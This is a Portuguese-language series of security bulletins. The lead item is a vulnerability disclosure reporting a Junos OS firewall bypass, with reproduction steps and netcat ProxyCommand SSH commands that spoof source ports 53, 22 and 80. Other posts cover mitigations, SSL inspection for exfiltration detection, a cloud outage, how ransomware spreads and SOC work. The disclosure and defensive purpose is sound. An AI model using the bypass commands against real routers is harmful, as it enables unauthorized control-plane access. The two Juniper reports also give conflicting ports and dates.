Vol. 1 No. 20250704-682 (2025)

Relatório de Vulnerabilidade para Solicitação de CVE: Bypass de Firewall em Conexões SSH no Junos OS

Adriano Cansian | adriano.cansian@unesp.br | 04/07/2025

Informações Gerais

  • Título: Bypass de Regras de Firewall em Conexões SSH Usando Porta de Origem TCP 53
  • Produto Afetado: Juniper Networks Junos OS
  • Versão Testada: 24.1.R2 and 21.4R3-S9.5
  • Dispositivo Testado: Juniper MX204,  Juniper MX304 and Juniper EX2300-24T
  • Data do Teste: June, 23, 2025 8h10m BRT (GMT-03)
  • Reportado por: Adriano Mauro Cansian (UNESP – Sao Paulo State University, Brazil) e Joao Fuzinelli (Cylo Cyberloss Prevention, Brazil)
  • Colaboradores: Giuliano Medalha (por Wztech) e Gabriele Zancheta Scavazini, Guilherme Bofo, Guilherme Romanholo Bofo, Matheus Bordino Moriel e Kim Morgan (por UNESP ACME! Cybersecurity Research)
  • Contato: adriano.cansian@unesp.br , joao@cylo.com.br
  • Gravidade Estimada: Crítica (acesso não autorizado ao plano de controle via SSH)
  • CVE Solicitado: Sim

Descrição da Vulnerabilidade

Uma vulnerabilidade no Junos OS permite o bypass de regras de firewall em conexões SSH ao usar a porta de origem TCP 53, normalmente associada a respostas de DNS via UDP. A falha ocorre devido a uma regra de firewall stateless que permite tráfego com porta de origem 53 sem filtrar o protocolo (TCP vs. UDP), possibilitando que conexões SSH (TCP) sejam aceitas indevidamente.

Impacto

  • Acesso Não Autorizado: Um atacante pode estabelecer uma conexão SSH com o roteador, comprometendo o plano de controle.
  • Confidencialidade e Integridade: Possível acesso a configurações sensíveis e manipulação do dispositivo.
  • Disponibilidade: Risco de negação de serviço (DoS) se o acesso for explorado para ações maliciosas.
  • Escopo: A vulnerabilidade é explorável em qualquer roteador Juniper com uma regra de firewall semelhante, especialmente em firewalls stateless.

Ambiente de teste

Servidor SSH

  • IP: xxx.yyy.zzz.123
  • Serviço: SSH na porta 22 (padrão)
  • Localização: Rede interna

Cliente

  • Localização: Laboratório Número 6
  • Endereço: IP público

Roteador

  • Modelos: Juniper MX204, MX304 e EX2300-24T
  • Sistema Operacional: Junos OS 24.1.R2 e 21.4R3-S9.5

Configuração do Firewall (stateless):

firewall family inet filter protect-re {
term allow-dns {
from {
source-port 53;
}
then accept;
}
term deny-all {
then discard;
}
}
interfaces {
lo0 {
unit 0 {
family inet {
filter input protect-re;
}
}
}
}

Passos para reprodução

  1. Configure o roteador Juniper com a regra acima aplicada à interface loopback (lo0).
  2. Inicie um servidor SSH na rede interna (xxx.yyy.zzz.123, porta 22).
  3. A partir de um cliente com IP público, tente uma conexão SSH padrão:
ssh user@xxx.yyy.zzz.123

4. Resultado Esperado: Conexão bloqueada pelo firewall.

Tente uma conexão SSH com porta de origem TCP 53:

ssh -o "ProxyCommand nc -p 53 %h %p" -p 22 user@xxx.yyy.zzz.123

5. Resultado Observado: Conexão bem-sucedida, indicando bypass do firewall.

Estimativa de CVSS v3.1

Base Score: 9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L)

  • AV:N – Vetor de ataque pela rede
  • AC:L – Baixa complexidade de ataque
  • PR:N – Sem privilégios necessários
  • UI:N – Sem interação do usuário
  • S:U – Escopo não alterado
  • C:H / I:H / A:L – Impacto alto em confidencialidade e integridade, baixo em disponibilidade

Evidências

Comandos executados:

❯ ssh -o 'ProxyCommand nc -p 22 %h %p' -p 22 user@xxx.yyy.zzz.123
❯ ssh -o 'ProxyCommand nc -p 80 %h %p' -p 22 user@xxx.yyy.zzz.123
❯ ssh -o 'ProxyCommand nc -p 53 %h %p' -p 22 user@xxx.yyy.zzz.123

Resultado: O bypass foi confirmado, permitindo acesso SSH não autorizado.

❯ ssh -o 'ProxyCommand nc -p 22 %h %p' -p 22 user@xxx.yyy.zzz.123
The authenticity of host 'xxx.yyy.zzz.123 (<no hostip for proxy command>)' can't be established.
ED25519 key fingerprint is SHA256:zsfUbBo9nyytTLBgdJADBvYDgqiNGqYWE1g7c0nfv6o.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'xxx.yyy.zzz.123' (ED25519) to the list of known hosts.
(user@xxx.yyy.zzz.123) Password:

❯ ssh -o 'ProxyCommand nc -p 80 %h %p' -p 22 user@xxx.yyy.zzz.123
(user@xxx.yyy.zzz.123) Password:

❯ ssh -o 'ProxyCommand nc -p 53 %h %p' -p 22 user@xxx.yyy.zzz.123
(user@xxx.yyy.zzz.123) Password:
'''

Observações

Observações:

  • Nesse caso utilizamos primeiramente a porta 22, localizado em ‘ProxyCommand nc -p 22″ onde 22 é a porta de origem. Logo após ocorre o mesmo com a porta 80.
  • O uso das portas 22 e 80 como origem é mais plausível, pois esses serviços operam nativamente sobre TCP, diferentemente do DNS, que utiliza UDP. Contudo, isso prova que para qualquer porta onde o usuário permita conexões de porta de origem no firewall de output, ao forjar a porta em uma conexão ela será aceita pelo firewall. Caso este que não ocorre em firewall stateful, já que existe a possibilidade de checar  se uma “conexão” é nova tanto em TCP como UDP.

Mitigação temporária

Filtragem por Protocolo:

set firewall family inet filter protect-re term allow-dns from protocol udp
set firewall family inet filter protect-re term allow-dns from source-port 53
set firewall family inet filter protect-re term allow-dns then accept

Restrição por IP de origem:

set firewall family inet filter protect-re term allow-dns from source-address 8.8.8.8/32
set firewall family inet filter protect-re term allow-dns from source-address 1.1.1.1/32

Alteração da porta SSH:

set system services ssh port 6666

Desativação do SSH:

deactivate system services ssh

Recomendações

  • Testar em versões Junos OS mais recentes (24.4R1-S1 ou 24.2R2-S2) para verificar se a falha persiste.
  • Realizar testes adicionais com portas de origem diferentes (ex: 80, 443) e com firewalls stateful, como os dispositivos da linha SRX.

Notas / observaç˜ões

  • Até 27 de junho de 2025, não há registros públicos de um CVE correspondente a essa vulnerabilidade (fontes: cvedetails.com, support.juniper.net).
  • A falha ainda está sob investigação e pode estar relacionada a uma configuração excessivamente permissiva do firewall stateless, mas não se descarta a possibilidade de um bug no Junos OS.

Última atualização: 26 de junho de 2025, 18h10m BRT (GMT-03)

Com a Colaboração de: Giuliano Medalha (por Wztech) e Gabriele Zancheta Scavazini, Guilherme Bofo, Guilherme Romanholo Bofo, Matheus Bordino Moriel e Kim Morgan (por UNESP ACME! Cybersecurity Research)

Vol. 1 No. 20250704-644 (2025)

Nova vulnerabilidade em roteadores Juniper: alerta e mitigação

Adriano Cansian | adriano.cansian@unesp.br |


Com a Colaboração de: Giuliano Medalha (por Wztech) e Gabriele Zancheta Scavazini, Guilherme Bofo, Guilherme Romanholo Bofo, Matheus Bordino Moriel e Kim Morgan (por UNESP ACME! Cybersecurity Research)

1. Resumo

Testes internos, realizados em laboratório, em roteadores Juniper rodando Junos OS 24 e Junos OS 23, em 27/06/2025 8h10m BRT, identificaram que conexões SSH originadas a partir da porta TCP 22 (com destino à porta 22 do roteador) permitem o bypass das regras de firewall configuradas na interface loopback, mesmo com termos explícitos de descarte dos pacotes. A vulnerabilidade permite que atacantes ignorem restrições de acesso, comprometendo a proteção do plano de controle. Até o momento, não há evidências de exploração ativa, mas a gravidade exige ação imediata.

Essa descoberta foi informada ao Juniper Security Incident Response Team em 27/06/2025, sendo solicitado registro de CVE, havendo recebida a seguinte resposta, até o momento:

I can confirm now for you that engineering leadership is aware of the reported issue and have requested their staff to begin investigating it.  Once I have an update from them, I will contact you with next steps (security incident ID # SIR-2025-0520).

2. Detalhamento da descoberta

Este relato, baseado em uma discussão interna entre analistas de rede e de segurança, e pode conter imprecisões. Utilize-a por sua conta e risco.

Para explicar o problema, apresentamos uma análise resumida sobre o funcionamento dos planos de controle e forwarding em equipamentos Juniper, com foco na aplicação e limitações de filtros de firewall na interface loopback. Também abordamos a descoberta de uma vulnerabilidade crítica no SSH, que permite o bypass das regras de segurança configuradas, e destaca as ações necessárias para verificar a correção do problema em versões mais recentes do sistema Junos.

2.1. Contexto da arquitetura Juniper

  • Equipamentos Juniper operando com o sistema Junos OS apresentam arquitetura modular, com separação entre o plano de forwarding (data plane) e o plano de controle (control plane). A interface lógica loopback é utilizada como ponto de interconexão entre esses dois planos, sendo normalmente protegida por filtros de firewall (firewall filters) no modo input, com o objetivo de restringir o acesso aos daemons do plano de controle — como o SSH, SNMP, RPD, entre outros.
  • Esses filtros seguem uma lógica sequencial de aplicação das regras, sendo comum configurar regras específicas para permitir ou bloquear tráfego com base em IP de origem, protocolos e portas de origem/destino.

2.2. Limitações do Firewall Filter na Interface de Loopback

  • É recomendado aplicar um firewall filter na interface loopback, no modo input, para proteger o roteador contra acessos indesejados.
  • O filtro atua sobre todo o tráfego que tenta abrir conexão com os daemons internos do roteador, funcionando como uma camada de proteção para o equipamento e seus acessos.
  • O firewall filter da Juniper opera de forma sequencial, lendo e aplicando termos (regras) na ordem em que são configurados.
  • Uma regra típica pode permitir apenas determinados IPs de origem na porta 22 para SSH.

2.3. Descoberta da Vulnerabilidade no SSH

Durante testes de rotina, foi identificado o seguinte comportamento:

  • Conexões SSH estabelecidas com porta de origem aleatória (acima de 1024) são corretamente analisadas pelos filtros da interface loopback, sendo bloqueadas ou permitidas conforme esperado.
  • Entretanto, quando a conexão SSH é iniciada com a porta de origem TCP 22, os pacotes não são inspecionados ou bloqueados pelos filtros, mesmo quando há regras explícitas de descarte (discard) para esse tipo de tráfego.
  • Esse comportamento resulta na evasão completa das políticas de segurança configuradas no plano de controle, permitindo o acesso direto ao serviço SSH do roteador a partir de origens não autorizadas.
  • Assim, se a conexão SSH for originada a partir da porta 22 (supondo que a porta de destino do SSH no Juniper também seja 22), todos os bloqueios configurados no firewall filter são ignorados, mesmo com regras explícitas de descarte.
  • A falha é considerada grave, pois permite o bypass das regras de segurança, comprometendo a proteção do equipamento.

Estimativa de CVSS v3.1

Base Score: 9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L)

  • AV:N – Vetor de ataque pela rede
  • AC:L – Baixa complexidade de ataque
  • PR:N – Sem privilégios necessários
  • UI:N – Sem interação do usuário
  • S:U – Escopo não alterado
  • C:H / I:H / A:L – Impacto alto em confidencialidade e integridade, baixo em disponibilidade

3. Mitigação recomendada

Incluir explicitamente protocol tcp ao usar source-port, para evitar ambiguidade ou configurações inválidas.

Manter cada termo autônomo, sem combinar source-port com outras condições conflitantes (como port) no mesmo termo.

Aplicar o filtro na interface lo0 no modo input, conforme a prática padrão para proteger o plano de controle.

Testar a configuração em ambiente controlado, garantindo que o filtro está funcionando conforme esperado em versões relevantes do Junos OS.

Segundo recomendado pela Juniper, até que haja uma confirmação oficial da fabricante e o lançamento de um patch corretivo, recomenda-se aplicar as seguintes medidas preventivas para mitigar o risco de evasão das regras de firewall na interface loopback:

3.1. Ajuste no filtro de proteção ao plano de controle (PROTECT-RE)

O filtro de firewall aplicado à interface lógica lo0, no modo input, deve ser atualizado para bloquear explicitamente pacotes TCP com porta de origem 22, antes de qualquer regra que permita acesso SSH.

Importante: esse termo deve ser posicionado antes de qualquer outro termo que aceite conexões SSH.

Exemplo de configuração estilo CLI (Junos OS):

# Novo termo — bloqueia pacotes com source-port 22
set firewall family inet filter PROTECT-RE term BLOQUEIA-SRC-22 from protocol tcp
set firewall family inet filter PROTECT-RE term BLOQUEIA-SRC-22 from source-port 22
set firewall family inet filter PROTECT-RE term BLOQUEIA-SRC-22 then syslog
set firewall family inet filter PROTECT-RE term BLOQUEIA-SRC-22 then discard

# Termo já existente — acesso SSH permitido para IPs autorizados
set firewall family inet filter PROTECT-RE term ACEITA-SSH from source-address 198.51.100.0/24
# 198.51.100.0/24 : IP reservado para exemplo (RFC 5737)
set firewall family inet filter PROTECT-RE term ACEITA-SSH from protocol tcp
set firewall family inet filter PROTECT-RE term ACEITA-SSH from port ssh
set firewall family inet filter PROTECT-RE term ACEITA-SSH then count accept-ssh
set firewall family inet filter PROTECT-RE term ACEITA-SSH then accept

# Aplicação do filtro na interface de loopback
set interfaces lo0 unit 0 family inet filter input PROTECT-RE

Estrutura resultante (sintaxe hierárquica)

term BLOQUEIA-SRC-22 {
from {
protocol tcp;
source-port 22;
}
then {
syslog;
discard;
}
}

term ACEITA-SSH {
from {
source-address 198.51.100.0/24;
# 198.51.100.0/24 : IP reservado para exemplo (RFC 5737)
protocol tcp;
port ssh;
}
then {
count accept-ssh;
accept;
}
}

ATENÇÃO: A condição source-port só é válida quando utilizada juntamente com protocol tcp, conforme documentado oficialmente pela Juniper.

3.2. Mitigação alternativa para o serviço ssh

Alterar a porta padrão do serviço SSH para uma porta não convencional:

set system services ssh port 2222

3.3. Restrições adicionais

Restringir o acesso à interface de gerenciamento por meio de ACLs específicas, VPNs, ou túneis criptografados.

Monitorar logs de acesso SSH e realizar testes contínuos em laboratório para verificar se o comportamento persiste em versões atualizadas do Junos OS.

4. Verificação de informações

Com base nas informações disponíveis até 04 de julho de 2025, não há registros públicos de uma vulnerabilidade específica no Junos OS que permita o bypass de filtros de firewall na interface loopback para conexões SSH com porta de origem 22.

A vulnerabilidade mais próxima relatada é a CVE-2023-48795 (Terrapin SSH Attack), que afeta o protocolo SSH em geral e foi corrigida em versões recentes do Junos OS.

Recomendamos verificar o site de segurança da Juniper (www.juniper.net/security) ou contatar a Juniper SIRT (sirt@juniper.net) para confirmar se essa vulnerabilidade foi reportada e se há um CVE associado. Além disso, são recomendados mais testes em laboratório com as versões mais recentes do Junos (e.g., 24.4R1, lançada em abril de 2025) para confirmar se o problema persiste.


Considerações finais

A mitigação continua válida e reforçada com base na documentação oficial. A instrução está segura para uso em ambientes que implementam filtros Junos OS 23 ou 24. No entanto, é importante destacar que:

  • A configuração deve ser testada em diferentes plataformas (MX, EX, PTX etc.), pois algumas séries podem ter limitações específicas .
  • A Juniper costuma publicar suporte por família de plataformas. Certifique-se de validar se o equipamento em uso suporta source-port conforme documentado.
  • Em versões Evolved do Junos (ex. 24.x), deve haver suporte automático, mas a combinação com next-header tcp também é recomendada quando aplicável.

Última atualização: 25/6/2025 17:22 BRT


Vol. 1 No. 20250620-619 (2025)

O Poder do SSL Deep Inspection nas Investigações de exfiltração de Dados

Hector Carlos Frigo | hector@cylo.com.br | 20/06/2025

Nos últimos meses temos recebido inúmeros alertas relatando possíveis vazamentos de dados, por se tratar de um tópico extremamente sensível, podendo comprometer operações do cliente e com alto potencial de afetar diretamente sua propriedade intelectual, aos poucos começamos a desenvolver técnicas que otimizaram nosso tempo de resposta, nos ajudando a detectar, qual volume de dados foi exfiltrado do ambiente, e o que na minha opinião é o mais importante.. QUAIS dados foram exfiltrados. Desafio que tínhamos sempre ao lidar com esse tipo de incidente (identificar quais arquivos foram movimentados para fora da empresa, sempre foi uma grande dificuldade). Com essa evolução, foi possível realizar uma melhor distinção entre os casos de incidentes reais e casos falsos positivos.

Como ponto chave da melhora do nosso processo, identificamos que a adoção do uso de SSL Deep-Inspection para todo trafego de rede, possibilita uma visualização única e mais assertiva no trafego suspeito que será investigado por nós, Analistas de SOC, essa tecnologia viabiliza o monitoramento do trafego na camada de aplicação, tornando possível observar acesso a subdiretórios, e também identificar quais ARQUIVOS estão sendo movimentados para destinos fora do ambiente da empresa.

Para uma melhor visualização desta solução em funcionamento, realizei alguns testes com um firewall da Fortinet em um ambiente de teste, o qual será descrito abaixo (Lembrando que a aplicação do Deep-Inspection deve ser semelhante independente do serviço de Firewall adotado)

Primeiro criei alguns arquivos com nomes bem tendenciosos, para realizar o teste

Após isso, realizei a criação de uma regra no firewall batizando-a de “Teste Deep Inspection”, permitindo todo trafego LAN to WAN sem restrições e por fim habilitar a função de Deep-inspection na regra.

Após a criação da regra, devemos testá-la, para isso, basta entrar em um site que possua SSL ativo e observar seu certificado digital, acessei o Google.com, que originalmente possui o certificado atribuído pelo Google Trust Services.

Com a regra de SSL Deep Inspection funcionando, espera-se observar um certificado digital emitido por nosso serviço de Firewall, e não mais o certificado original criado pela provedora do site

Certificado do google.com SEM Deep-Inspection habilitado
Certificado do google.com COM Deep-Inspection habilitado

Com a regra funcionando, vamos dar inicio ao teste prático, onde realizei o UPLOAD dos 4 arquivos que criei em minha estação de teste, para o meu Google Drive PARTICULAR (Comportamento muito comum observado em diversos alertas de Exfiltração de dados)

Upload de arquivos realizados com sucesso! Vamos ver o que os logs do Firewall têm a nos dizer…

Realizei um filtro baseado no endereço MAC da minha estação de teste, para facilitar encontrar os logs do Upload, e depois de alguns segundos de espera, lá estava… Todos os arquivos que foram movimentados para o meu Google Drive particular por meio de conexões realizadas utilizando a rede da empresa, com a regra de Deep-Inspection ativa e operante, identificados por nome e extensão do arquivo (sendo possivel também adicionar o filtro do tamanho do arquivo) simplesmente com a aplicação de uma regra facilmente configurada em nosso Firewall.

Imaginando a aplicação deste exemplo em um ambiente real, onde é extremamente necessário monitorar as ações realizadas em todos os endpoints, justamente para prevenir vazamento de propriedade intelectual, e evitar perdas devastadoras para a empresa, empregar o SSL Deep Inspection como aliado nas investigações de alerta de exfiltração de dados é altamente recomendado

É importante ressaltar que, o emprego desta tecnologia deve somente ocorrer, após o consentimento dos usuários, ou seja, os colaboradores conectados a rede, devem saber que estão sendo monitorados por sua equipe de SOC, fato pode ser adicionado a uma cláusula do contrato de trabalho por exemplo, pois a ausência desse consentimento, pode implicar diretamente a quebra do direito a privacidade, garantida principalmente pela LGPD porem abordada também em diversos outros textos de lei.

Neste pequeno exemplo, foi possivel observar o quão importante o SSL Deep-Inspection pode ser para detecção de exfiltração de dados, Ouso dizer que é uma técnologia essencial contra vazamento de informações, em um mundo onde a propriedade intelectual com certeza é um dos ativos mais valiosos da sua empresa.

Vol. 1 No. 20250619-581 (2025)

Falha Técnica, Não Ciberataque: Análise do Evento Global de 12 de Junho

Adriano Cansian | adriano.cansian@unesp.br | 19/06/2025

Resumo

Em 12 de junho de 2025, por volta das 14h51 (UTC-3), uma falha significativa em serviços baseados no Google Cloud causou indisponibilidade generalizada de plataformas como Spotify, Discord, Snap, Character.ai e até partes da infraestrutura da Cloudflare. A suspeita inicial de que se tratava de um ataque cibernético coordenado está descartada com base em dados técnicos e fontes confiáveis. O incidente, embora com impacto global, não teve relação com atividade maliciosa.

Linha do Tempo do Incidente

  • Início do problema: 12 Jun 2025, 17:51 UTC (14:51 GMT-03 BRT).
  • Atualização final do status: 12 Jun 2025, 22:46 UTC (19:46 GMT-03 BRT).
  • Locais afetados: Regiões Google asia-east1, europe-west4, africa-south1 e dezenas de outras.
  • Serviços impactados: APIs, autenticação, conectividade com backend, serviços de hospedagem.
  • Volume de impacto – relatos simultâneos de inacessibilidade: Spotify 46.000, Google 14.000 e Discord 11.000 (segundo Downdetector).
Fonte: ThousandEyes

Nossa análise

Com base nas evidências disponíveis até o momento, é altamente improvável que tenha ocorrido qualquer incidente relevante de segurança cibernética com impacto global em 12 de junho de 2025.

As interrupções observadas em diversos serviços online parecem ter sido causadas por uma falha técnica na infraestrutura do Google Cloud, e não por ações maliciosas ou por um ataque cibernético.

Não há registros oficiais nem indicadores técnicos que sustentem a hipótese de um ataque cibernético coordenado, apesar da circulação de algumas especulações e teorias da conspiração em redes sociais.

Diagnóstico Técnico

De acordo com Google Cloud Status Dashboard, o incidente envolveu instabilidades de rede e falhas no fornecimento de recursos críticos para workloads, com degradação em múltiplas zonas de disponibilidade. Apesar do escopo, não houve indícios de exploração de vulnerabilidades, DDoS, sequestro de rota BGP ou comportamento anômalo em logs de tráfego. O relatório completo de status do Google Cloud para o evento de 12/6/2025 pode ser visto nesse link confiável: https://status.cloud.google.com/incidents/ow5i3PPK96RduMcb1SsW

A Cloudflare, por sua vez, relatou impactos secundários limitados a serviços que utilizam o Google Cloud como backend. Segundo relatos de engenheiros da comunidade e usuários técnicos no Downdetector, houve menção a “erro de configuração de rede” e dependências indiretas afetando ao menos 19 data centers da Cloudflare.

Avaliação Cibernética

Do ponto de vista de threat intelligence e resposta a incidentes, nenhuma IOC (indicador de comprometimento) conhecida foi associada ao evento. Nenhum CSIRT internacional (como o US-CERT ou o JPCERT/CC) emitiu alertas relacionados, tampouco houve correlação com campanhas ativas de ameaça.

Buscas por “cyber attack”, “internet outage”, “DDoS” ou “APT activity” relacionadas a 12/06/2025 nas redes sociais e em feeds técnicos (como OTX AlienVault e MISP) não retornaram nenhuma correlação válida. Portanto, a hipótese de ataque coordenado por ator estatal ou hacktivismo pode ser tecnicamente descartada neste caso.

Implicações para Resiliência

Embora não tenha envolvido comprometimento, o incidente reforça o risco de falhas sistêmicas em infraestruturas centralizadas. A dependência excessiva de provedores de nuvem (monoculturas tecnológicas) pode gerar efeitos em cascata mesmo sem ações maliciosas.

É recomendável que analistas e arquitetos de segurança revisem:

  • Estratégias de redundância multi-cloud.
  • Monitoramento contínuo de integridade de serviços externos (SLAs e upstreams).
  • Planos de contingência para falhas de serviços de terceiros.

Conclusão

Apesar das suspeitas iniciais, o incidente de 12/06/2025 foi causado por uma falha técnica no Google Cloud e não representa um evento de segurança cibernética. Para times de resposta a incidentes, é mais um lembrete de que a visibilidade sobre a cadeia de dependências tecnológicas é tão crítica quanto a detecção de ataques.

Última atualização: 19/06/2025 às 20:29 GMT-03.

Vol. 1 No. 20250612-636 (2025)

Como o Ransomware se Espalha Dentro da Sua Rede

Pedro Brandt Zanqueta | pedro@cylo.com.br | 12/06/2025

Ajudando em uma resposta a incidente, recentemente tivemos que lidar com um determinado grupo de ransomware que atrapalhou uma empresa por um período. Com isso decidi detalhar como geralmente um ataque ocorre.

Ponto de partida

Imagine uma manhã comum na sua empresa. Os colaboradores chegam e iniciam suas atividades. Tudo parece normal até que, um e-mail aparentemente inofensivo chega à caixa de entrada de um colaborador do setor financeiro. O assunto é: “Nota Fiscal em Atraso – URGENTE”. Sem nem desconfiar, o funcionário clica no anexo.

O anexo executa um script em PowerShell, que baixa e executa um payload malicioso. Em segundos, o atacante já acesso à rede. Mas o objetivo não é apenas comprometer uma máquina é paralisar a empresa inteira. E para isso, o ransomware precisa se espalhar.

Descoberta do ambiente

Antes de se mover, o atacante precisa entender o ambiente. Ele começa com técnicas de reconhecimento interno. Utiliza comandos para descobrir sistemas remotos, identificar conexões de rede, e localizar compartilhamentos acessíveis.

Com essas informações em mãos, o atacante sabe exatamente onde estão os servidores de arquivos, os controladores de domínio e as estações mais críticas.

Movimentação lateral

Para se mover lateralmente, o atacante precisa de credenciais. Com Mimikatz usa para extrair senhas da memória do processo LSASS. Se tiver sorte, encontra credenciais de administradores de domínio. Caso contrário, ele pode recorrer a ataques de força bruta ou password spray para comprometer outras contas.

Usando ferramentas como PsExec ou WMI, o ransomware começa a se espalhar. Ele cópia seus arquivos para máquinas remotas usando compartilhamentos administrativos e executa o payload silenciosamente.

Se encontrar vulnerabilidades conhecidas, como EternalBlue, ele pode explorá-las diretamente, sem depender de credenciais.

Garantindo a Persistência

Para garantir que o ransomware continue ativo mesmo após reinicializações, o atacante cria tarefas agendadas ou serviços maliciosos.

Processo Final

Quando o atacante sente que já comprometeu o suficiente, ele inicia a fase final: a criptografia. Utilizando algoritmos robustos, o ransomware bloqueia arquivos em servidores, estações de trabalho e até backups conectados.

Em minutos, a empresa inteira está paralisada. Um aviso aparece nas telas: “Seus arquivos foram criptografados. Pague em Bitcoin para recuperá-los.”

Melhorias no ambiente

  • Segmentação de rede: impede que o atacante se mova livremente.
  • Monitoramento de credenciais: detecta uso anômalo de contas.
  • Atualizações regulares: fecham portas exploradas por vulnerabilidades.
  • Treinamento de usuários: reduz o risco de phishing.
  • Soluções de segurança avançadas: como EDRs e SIEMs, ajudam a detectar e responder rapidamente.

Conclusão

O ransomware não é apenas um vírus que aparece do nada. Ele é o resultado de uma cadeia de ações cuidadosamente planejadas.

A pergunta não é se sua empresa será alvo, mas quando. E quando isso acontecer, o quão preparado você estará?

Vol. 1 No. 20250606-613 (2025)

De Botnet para… jogo online?

Yuri Augusto | yuri@cylo.com.br | 06/06/2025

Recentemente o IPS detectou diversos alertas suspeitos, onde alguns dispositivos, móveis estavam se conectando à botnets. Bom… no mínimo preocupante. A botnet? Sality botnet. Isso já pareceu estranho, pois todos os artigos encontrados na internet referentes à essa bonet, são datados de 10 anos atrás ou mais ainda mais antigos que isso. Mas é aquele negócio, melhor um falso positivo investigado do que um positivo não investigado, correto?

Todas as conexões que o IPS pegou (e algumas outras não alertadas pelo sistema) eram destinadas à porta 7500 UDP. O endereço? Tencent e Zenlayer, duas empresas de cloud. O maior problema ao realizar essas investigações é a teimosia do ser humano, e aqui não foi diferente. Bati cabeça com os endereços de destino e portas usadas, nenhum resultado. Afinal, os endereços não são maliciosos.

Ao parar e descansar um pouco, as sinapses voltaram a ocorrer, descansar a mente também ajuda a assimilar a informação. Se não encontrei nada referente à essas portas, hora de olhar outros logs, por exemplo, application control. E lá estava uma nova informação relevante, “Call of Duty Mobile”, apesar de ainda não ter certeza do que estava ocorrendo, pelo menos não é algo malicioso (ufa).

Agora a pesquisa ficou mais fácil, fazer a verificação dos endereços e portas utilizadas pelo jogo. E lá estava, as informações coincidem com todas as comunicações observadas no alerta.

Informações de endereços e portas retiradas do site do jogo.

Já cheguei até aqui, então vamos fazer a prova final? Instalar no próprio celular e avaliar as conexões de rede através do firewall (de quebra ainda tira um lazer). Pronto, paranoia controlada, todas as conexões “suspeitas” estão sendo realizadas pelo jogo.

Validação realizada pelo pcap, capturado pelo firewall.

Por fim, fica aquele questionamento “excesso de zelo” ou “perca de tempo”? Em um ambiente crítico, onde uma pequena falha pode levar à danos irreparáveis, com certeza é melhor prezar pelo excesso de zelo. Nunca assuma nada, sempre investigue.

Vol. 1 No. 20250530-596 (2025)

A importância do SOC na Cibersegurança.

João Paulo Gonsales | jgonsales@cylo.com.br | 30/05/2025

Durante um treinamento recente em Cibersegurança, focado em “Foundations of Incident Management”, entre muitos temas importantes abordados no treinamento, um ponto crucial se destacou: a importância de uma resposta rápida e coordenada a eventos de Segurança da Informação.

Em um cenário onde a tecnologia está em constante evolução, com a área de cibersegurança não seria diferente, a rápida evolução das ameaças e a forma de como os ataques cibernéticos são realizados, a segurança digital para as organizações deixou de ser um diferencial para se tornar uma necessidade e, uma pergunta que não podemos ignorar para as organizações é, “não é se a sua empresa será atacada ou não, mas quando. O ataque será efetivo?” Seguindo neste contexto, um Security Operations Center (SOC) se destaca como uma peça fundamental na estratégia de defesa para as organizações, adicionando uma camada de proteção no ambiente de tecnologia e se tornando essencial para uma melhor resiliência cibernética. 

Podemos definir o SOC como um centro especializado em segurança cibernética, responsável pelo monitoramento, detecção e resposta para incidentes de segurança. Utilizando tecnologias avançadas e composto por equipes de especialistas em cibersegurança, tecnologias em geral e processos, ele opera com o objetivo de identificar e responder as ameaças em tempo real, adicionando uma camada essencial para a resiliência cibernética das organizações e minimizando os riscos que possam causar danos significativos.  

Vamos relacionar um SOC como uma “torre de controle” com foco para a segurança da informação da sua empresa, onde com uma equipe especializada, são realizados a monitoração dos dados do ambiente,  comportamentos suspeitos , tráfego de rede, sistemas, aplicativos e dispositivos em busca de qualquer atividade suspeita. 

Oferecendo uma camada de proteção proativa, o trabalho e a importância de um SOC vai muito além da simples detecção de ameaças, onde podemos destacar um pouco mais das suas atividades ; 

  • Detecção rápida de eventos de segurança : Pesquisas indicam que o tempo médio de permanência de um invasor no ambiente de rede pode chegar em 200 dias ou mais antes de ser identificado e, conseguir garantir a capacidade de identificar a ameaça rapidamente é crucial. O SOC utiliza ferramentas avançadas para garantir uma rápida detecção, como a utilização de ferramentas de XDR, SIEM (Security Information and Event Management) e SOAR (Security Orchestration, Automation and Response) para identificar padrões maliciosos, correlacionar eventos, automatizar e gerar alertas em tempo real para a equipe à possíveis ameaças, minimizando o tempo que um atacante tem para causar danos para as organizações. 

  RSA Conference 2022 – 2022_USA22_HTA-M05_01_Strong-Story-to-Tell-Top-10-Mistakes-by-Administrators-About-Remote-Work_1654099348955001KxG2.pdf 

  • Resposta a Incidentes : Quando um incidente ocorre, uma equipe bem coordenada faz toda a diferença na resposta do incidente, com um SOC estruturado e treinado, possuir um plano e treinamento para realizar a resposta de incidentes faz toda a diferença, os processos são rapidamente colocados em pratica, gerando a contenção e a erradicação da ameaça. Aplicar o plano de recuperação quando for necessário , realizar relatórios pós-incidente e a identificação da causa raiz, evitando futuras ocorrências. A falta de um plano de resposta eficiente pode levar a grandes perdas financeiras e gerar danos irreparáveis à reputação da empresa.  
  • Monitoração do ambiente 24hx7: Diferente de uma abordagem reativa, o SOC mantém um monitoramento constante, identificando ameaças comportamentais , processuais , físicas e evitando que vulnerabilidades sejam exploradas. Com a utilização de informações de threat intelligence, a detecção no estágio inicial faz toda a diferença para mitigar possíveis ataques. 
  • Políticas e Processos:  Uma equipe de SOC realiza o suporte durante o desenvolvimento da política de segurança da informação (PSI), planos de comunicação, planos de recuperação (backup e restore), apoio também em auditorias e fornecimento de relatórios, garantindo que os processos estabelecidos sejam seguidos para que tenhamos um aumento da postura de segurança do ambiente. 

Uma pesquisa disponibilizada pela empresa Palo Alto Networks, lider global em segurança cibernética, indicam números alarmantes para o Brasil. O pais tem sido um alvo frequente de ataques cibernéticos, sofrendo bilhões de tentativas de ataques no último ano e isso reforça a necessidade de manter um ambiente de segurança robusto. O apoio do SOC é fundamental nesta jornada e vem se tornando um elemento estratégico para as organizações.  

Referencias : 

Vol. 1 No. 20250525-593 (2025)

CP: Contingency Plan em Ação: O teste malsucedido

João Fuzinelli | joao@cylo.com.br | 25/05/2025

Há algumas semanas atrás, colocamos em prática umas das famílias de controle do NIST SP 800-53 denominada: CP Contingency Plan que estamos implantando a alguns meses em um cliente

Esta família possui 13 controles dentre eles os de relevância para este post:

  • CP-1: Política e Procedimentos – Estabelece uma política e procedimentos formais para o plano de contingência.
